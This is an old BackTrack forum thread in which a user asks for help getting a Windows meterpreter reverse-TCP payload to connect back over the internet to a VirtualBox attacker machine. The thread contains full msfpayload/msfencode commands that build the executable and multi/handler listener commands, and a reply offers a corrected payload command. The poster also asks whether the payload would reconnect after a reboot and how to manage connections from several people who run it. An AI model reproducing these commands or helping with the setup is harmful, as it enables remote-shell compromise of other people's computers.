Results 1 to 5 of 5

Thread: reverse tcp meterpreter virtualbox help

  1. #1
    Just burned his ISO
    Join Date
    Sep 2008
    Posts
    4

    Default Remote meterpreter virtualbox

    Okay, so I was wondering about a remote meterpreter connection.

    I'm running backtrack 4 in a virtualbox, and was wondering how I set the lhost/rhost to work with it.

    To create the exe I run.
    Code:
    ./msfpayload windows/meterpreter/reverse_tcp_allports lhost 192.168.1.103 lport 5555 rhost=myno-ipaccount R | ./msfencode -b '' -t exe -o output.exe
    Now, I start the listening port and such.
    Code:
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp_allports
    set lhost 192.168.1.103
    set lport 5555
    set rhost myno-ipaccount
    exploit
    then I get a buddy of mine to run the exe, and it keeps listening. I've port forwarded everything, and can only assume that it's not working because its in a virtualbox, so it might not think it has the same local IP or something..

    Before anyone says I'm violating terms of no-ip, im not because this isn't malicious, it is just testing.
    So yeaah, any ideas? Lol.

    EDIT: Again, this is remote, which is why I'm using rhost

    And, 2 questions:
    1. If someone were to run this file, and reboot, when they rebooted their computer, would it try and make the connection to me again?

    2. Can I have more than 1 person run this, and get to choose between which one I get the connection on?
    Last edited by Starwiz; 06-09-2010 at 05:01 AM.

  2. #2
    Junior Member pigtail23's Avatar
    Join Date
    Jun 2010
    Location
    black hole
    Posts
    41

    Default Re: reverse tcp meterpreter virtualbox help

    try it like so

    Code:
    ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=5555 R | ./msfencode -b '' -t exe -o output.exe
    that must be work fine
    Last edited by pigtail23; 06-09-2010 at 09:54 AM.

  3. #3
    Administrator sickness's Avatar
    Join Date
    Jan 2010
    Location
    Behind the screen.
    Posts
    2,921

    Default Re: reverse tcp meterpreter virtualbox help

    First of all you have no ideea what you are trying to do.
    You set the LHOST/RHOST for your own network, this is different for everyone. And why do you have to insert a RHOST ? If you send the exe to a buddy and he runs it for you why do you need RHOST for ?
    Back|track giving machine guns to monkeys since 2007 !

    Do not read the Wiki, most your questions will not be answered there !
    Do not take a look at the: Forum Rules !

  4. #4
    Just burned his ISO
    Join Date
    Sep 2008
    Posts
    4

    Default Re: reverse tcp meterpreter virtualbox help

    Quote Originally Posted by sickness View Post
    First of all you have no ideea what you are trying to do.
    You set the LHOST/RHOST for your own network, this is different for everyone. And why do you have to insert a RHOST ? If you send the exe to a buddy and he runs it for you why do you need RHOST for ?
    I'm using rhost because I want to send it over the internet, not just over a network.

  5. #5
    Administrator sickness's Avatar
    Join Date
    Jan 2010
    Location
    Behind the screen.
    Posts
    2,921

    Default Re: reverse tcp meterpreter virtualbox help

    If you send the payload to your buddy and he opens it you don't need rhost, not even if you send it over to another planet.
    Back|track giving machine guns to monkeys since 2007 !

    Do not read the Wiki, most your questions will not be answered there !
    Do not take a look at the: Forum Rules !

Similar Threads

  1. Meterpreter reverse TCP question??
    By BurningDownBabylon in forum Beginners Forum
    Replies: 4
    Last Post: 05-07-2010, 06:55 PM
  2. Replies: 9
    Last Post: 12-22-2009, 12:09 AM
  3. making meterpreter/reverse shell FUD?
    By seankilla in forum OLD Newbie Area
    Replies: 4
    Last Post: 11-14-2009, 05:08 AM
  4. Replies: 8
    Last Post: 08-02-2009, 11:28 PM
  5. meterpreter reverse to no-ip.biz
    By cr1spyj0nes in forum OLD Newbie Area
    Replies: 5
    Last Post: 04-13-2009, 06:48 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •